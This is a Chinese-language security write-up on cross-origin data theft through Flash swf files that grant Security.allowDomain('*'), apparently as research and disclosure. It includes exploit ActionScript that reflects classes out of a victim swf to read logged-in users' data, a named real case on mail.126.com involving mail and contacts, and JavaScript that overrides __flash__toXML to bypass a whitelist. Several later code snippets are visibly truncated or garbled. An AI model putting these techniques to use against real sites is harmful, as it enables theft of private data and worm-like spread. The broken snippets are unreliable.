# 隐私泄露杀手锏:Flash 权限反射
0x00 前言
=======
* * *
一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。
事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。
0x01 原理
=======
* * *
这一切还得从经典的授权操作说起:
“`
Security.allowDomain(‘*’)
“`
对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?
显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。
因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。
**事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的**—— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!
被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。
我们如何将这种关联,进行充分利用呢?
0x02 利用
=======
* * *
### 关联容器
在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。
**然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!**
听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。
偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。
最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。
有这样扩展元素存在,我们就可以访问那些额外的功能了。
开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:
“`
// vul.swf
public class Vul extends Sprite {
public var urlLoader:URLLoader = new URLLoader();
public function download(url:String) : void {
urlLoader.load(new URLRequest(url));
…
}
public function Vul() {
Security.allowDomain(‘*’);
…
}
…
}
“`
通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。
同时它也是主类,默认会被添加到 Loader 这个加载容器里。
“`
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(‘complete’, function(e:Event) : void {
var main:* = DisplayObjectContainer(loader).getChildAt(0);
trace(main); // [object Vul]
});
loader.load(new URLRequest(‘//swf-site/vul.swf’));
“`
因为 Loader 是子 swf 的[默认容器](http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/system/LoaderContext.html#requestedContentParent),所以其中第一个元素显然就是子 swf 的主类:Vul。
由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

“`
main.download(‘//swf-site/data’);
“`
同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:
“`
var ld:URLLoader = main.urlLoader;
ld.addEventListener(‘complete’, function(e:Event) : void {
trace(ld.data);
});
“`
尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行`URLLoader`的`load`方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。
于是攻击者从任意位置,跨站访问 swf-site 下的数据了。
更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。
如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。
> ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。
### 类反射
通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。
如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?
做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?
事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。
因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。
开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:
“`
// vul.swf
public class Tool {
public function getUrlData(url:String, cb:Function) : void {
var ld:URLLoader = new URLLoader();
ld.load(new URLRequest(url));
ld.addEventListener(‘complete’, function(e:Event) : void {
cb(ld.data);
});
…
}
…
“`
在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:
“`
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(‘complete’, function(e:Event) : void {
var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition(‘Tool’);
var obj:* = new cls;
obj.getUrlData(‘http://victim-site/user-info’, function(d:*) : void {
trace(d);
});
});
loader.load(new URLRequest(‘//swf-site/vul.swf’));
“`
由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。
攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。
当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:
* 执行 Security.allowDomain(可控站点)
* 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
* 返回的数据可被获取
第一条:这就不用说了,反射的前提也是需要对方授权的。
第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。
第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。
也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。
同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。
因此我们还是得通过目标 swf 里的已有的功能,进行利用。
0x03 案例
=======
* * *
这里分享一个现实中的案例,之前已上报并修复了的。
这是 126.com 下的一个 swf,位于`http://mail.126.com/js6/h/flashRequest.swf`。
反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!
由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!
0x04 进阶
=======
* * *
借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。
### 进阶 No.1 —— 绕过路径检测
当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。
一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:
“`
// vul-1.swf
public function Main() {
var host:String = ExternalInterface.call(‘function(){return window.location.host}’);
if host not match white-list
return
Security.allowDomain(‘*’);
…
“`
它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。
由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?
因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。
不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。
在这个桥梁里,其中有一个叫`__flash__toXML`的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。
显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:
“`
// exp-1.js
function handler(str) {
console.log(str);
return ‘
}
setInterval(function() {
var rawFn = window.__flash__toXML;
if (rawFn && rawFn != handler) {
window.__flash__toXML = handler;
}
}, 1);
“`
通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!
为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让`__flash__toXML`提前注入。之后子 swf 使用时,已经是被覆盖的版本了。
当然,即使不使用覆盖的方式,我们仍可以控制`__flash__toXML`的返回结果。
仔细分析下这个函数,其中调用了`__flash__escapeXML`:
“`
function __flash__toXML(value) {
var type = typeof(value);
if (type == “string”) {
return “
…
}
function __flash__escapeXML(s) {
return s.replace(/&/g, “&”).replace(/\n
\n

